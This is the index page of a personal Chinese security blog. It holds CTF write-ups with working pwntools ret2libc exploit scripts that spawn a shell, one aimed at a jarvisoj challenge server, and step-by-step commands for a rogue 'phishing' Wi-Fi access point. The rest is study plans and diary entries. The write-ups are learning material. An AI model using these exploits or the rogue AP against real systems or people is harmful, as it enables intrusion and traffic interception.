Ice_bag的技术博客,欢迎!

keen on hack and geek :~)


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

  • 站点地图

暑期re学习计划

发表于 2019-06-29 | 分类于 bin

知识积累

程序员修养(好久没看了,生疏了有些地方得重新看)
学习pe,api,壳
SOMETHINGABOUT_JAVA/ANDROID
etc.

练手

android 做一些app
140个crackme

####
(我一定不会咕咕咕的

page

发表于 2019-06-13

X64_ret2libc

发表于 2019-06-02 | 分类于 pwn

前言

原来PWN题都是用ubuntu做的啊!入门以来的这个学期我都用的是kali真的是太捞了,期间出现了各种各样莫名其妙的问题,
这是我在XMAN4遇到libcsearcher时碰到搜索结果不匹配时发现的,尴尬的是组会时槐师傅(其实是所有师傅)都说用ubuntu,
原来他们以前有教过,谁叫我是半路出家,头铁的用了半年kali。

X64汇编

与X86最大的不同之处就是X64的地址,寄存器,数据,都变成了8个byte,更重要的是,为了防止对栈溢出的滥用,X64不再采用
X86的压栈式的传参方式,而是采用专用的寄存器保存函数的参数,它们是RDI,RSI,RDX,RCX,R8和 R9。只有参数数量大于6
个时才会使用栈保存后面的参数。

内存异常

可以使用的内存地址不超过0x00007fffffffffff,否则会抛出异常(非法访问)。

漏洞

存在任意长read,会导致栈溢出。

劫持程序流

与X86类似,栈溢出覆盖返回地址,

garget

为了达成某些目的,我们需要给调用的函数合适的参数,如’/bin/sh’,在X86中,直接将参数写在payload里面,伪造栈帧,因为
它通过压栈传参。而X64就要复杂一些,构造栈帧不再有效,需要将参数传入寄存器,而这就是我们寻找garget的原因。

garget是什么

garget就是程序中的一句汇编语句,可以连续执行,一条接着一条,形如:pop xxx;ret;达到给寄存器赋值的目的,还可以连续不断的
延伸下去。

寻找 garget

对于这道题,由于采用了动态链接,程序本身并不大,所以找不到太多合适的garget,有一个操作就是在libc中寻找,libc多大啊,

1
>ROPgarget --binary libc.so.6 --only "ret|pop" | grep "rdi"

因为我们的最终目标是执行system(“/bin/sh”)所以我们需要一个pop rdi;ret,这是可以找的到的。

计算libc基址

程序提供了libc真实地址,libc偏移量计算与X86下计算方法相同。
再计算出”bin/sh”,pop_ret的真实地址,可以开始构建payload了。

payload

‘a’*(0x90-4)+pop_ret_addr+binsh_addr+sys_addr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#context.log_level='debug'
p=process('./level4')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system']
pop_ret_offset = 0x0000000000021102 - libc.symbols['system']
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
binsh_addr = system_addr + binsh_addr_offset
pop_ret_addr = system_addr + pop_ret_offset
payload='a'*136+p64(pop_ret_addr)+p64(binsh_addr)+p64(system_addr)
p.recv()
p.send(payload)
p.interactive()

jarvisoj_xman3

发表于 2019-05-09 | 分类于 pwn

漏洞

read函数没有限制输入的长度,存在栈溢出。

计算栈溢出偏移量

ida反汇编
关键点:sub esp,88h
lea eax,[ebp+buf]
ida说eax是read函数的buf,所以偏移量就是0x88,我们需要覆盖的是ret地址,中间还隔了一个ebp,所以padding为0x88+4。

计算libc偏移量

由于是动态链接库,每次加载的基址都不一样,所以需要使用write泄露出某个libc函数的真实地址,再根据库中函数相当位置相同
推算出别的库函数的实际地址。

write函数

三个参数,通过栈传递,分别为:nbytes,buf,fd。在栈中的顺序大概是这样:

| 栈顶 |
|  fd  |
|  buf |
|nbytes|

因此,我们要伪造的泄露write地址的栈帧为:

|   栈顶   |
| write@plt|
|return_add|
|    1     |
|write@got |
|    4     |

接下来程序输出的就是write的真实地址

ELF.

pwntools中的计算基址的神器,用法:
ELF(“二进制文件路径”)
ELF.symbols[‘’] 查看函数地址
ELF.plt[‘’]同上
ELF.got[‘’]同上
libcsearcher模块:
libc.search(‘’)在库中寻找

基址偏移公式

write真实地址-write在libc中的地址=偏移量

return_addr

计算到了偏移量,我们还不能停,因为重新加载程序会生成一个新的偏移量,所以这时我们要劫持程序
流程,再次进入vuln函数,所以return_add填入vuln的地址,再入vuln函数,再次栈溢出。

getshell

得到偏移量后,根据各函数在libc中的地址,我们很容易就能算出真实地址,接下来只需要调用system(/bin/sh)就完事了
system就一个参数,所以伪造的栈帧为:

|   栈顶   |
|return_add|
|  bin_add |

由于执行完就getshell了,所以return_addr瞎填就行,只要是四个字节。
getsh

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level='debug'

level3=ELF('./level3')
vuln=level3.symbols['vulnerable_function']
write_plt=level3.plt['write']
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc=ELF('./libc-2.19.so')
write_got=level3.got['write']
p=remote('pwn2.jarvisoj.com',9879)
#p=process('./level3')
p.recvline()
p.sendline('a'*140+p32(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4))
write=u32(p.recv(4))

offset=write-libc.symbols['write']
system=offset+libc.symbols['system']
bin_sh=offset+libc.search('/bin/sh').next()
p.sendline('a'*140+p32(system)+'aaaa'+p32(bin_sh))
p.interactive()

二进制学习

发表于 2019-04-26 | 分类于 bin

PWN

线上教程

ctfwiki
liveOverflow@youtube

书籍

程序员的自我修养

刷题

pwnable.kr
pwnable.tw
实验吧
jarvisOJ

RE

线上教程

看雪
吾爱破解
群里的大佬发的文件

练习题

还没找到。。。

我竟然能咕这么久

发表于 2019-04-26 | 分类于 Ice_bag的日常

有时候事情不会像我们预想的那样发生,就如我鸽了这么久的博客。
我的技术方向有了巨大的变化,很久没碰单片机,硬件电路之类的东西了,一方面是因为时间精力有限,另一方面因为这些东西挺麻烦的,等以后做项目的时候
可能才会重新再捡起来。现在的重心主要是放在二进制安全和数据科学方面,还是学到了不少东西的。

钓鱼实验

发表于 2018-12-06 | 分类于 无线与协议

第一步:

配置dhcp服务器

~leafpad /etc/dnsmasq.conf

第二步:

将网卡设置为监听模式

airmon-ng start wlan0

第三步:

使用airbase-ng创建钓鱼ap

airbase-ng -e ”(输入你想要建立的名称)“ -c (通道) wlan0mon

第四步:

设置默认网关

###~ifconfig at0 10.0.0.1/24 up

第五步:

启用DNS服务器/DHCP服务器

dnsmasq -C /etc/dnsmasq.conf -d

route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1

第六步:

启用ip转发

echo 1 > /proc/sys/net/ipv4/ip_forward

第七步:

设置ip表

iptables -P FORWARD ACCEPT

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

apache2ctl start

特别的一天

发表于 2018-12-05 | 分类于 Ice_bag的日常

成功了,今天做了人生的第一个双力臂。狱龙的街健教程挺适合我的,臂力暴涨!
明天还有小测,不说多了。利用前两天的夜晚搭建了钓鱼AP,奇怪的是我的手机无法连接(卡在获取IP地址),电脑却可以连接
win10的平板也可以,虽热连接上了,但是网速很慢,甚至偶尔还会掉线,过几天再找解决方法吧,这几天有好多事要忙。

图片测试

发表于 2018-12-01

图片测试

gcc编译原理

发表于 2018-12-01 | 分类于 计算机专精
1234

Ice_bag(WXJ)

35 日志
10 分类
25 标签
© 2020 Ice_bag(WXJ)
由 Hexo 强力驱动
|
主题 — NexT.Gemini v5.1.4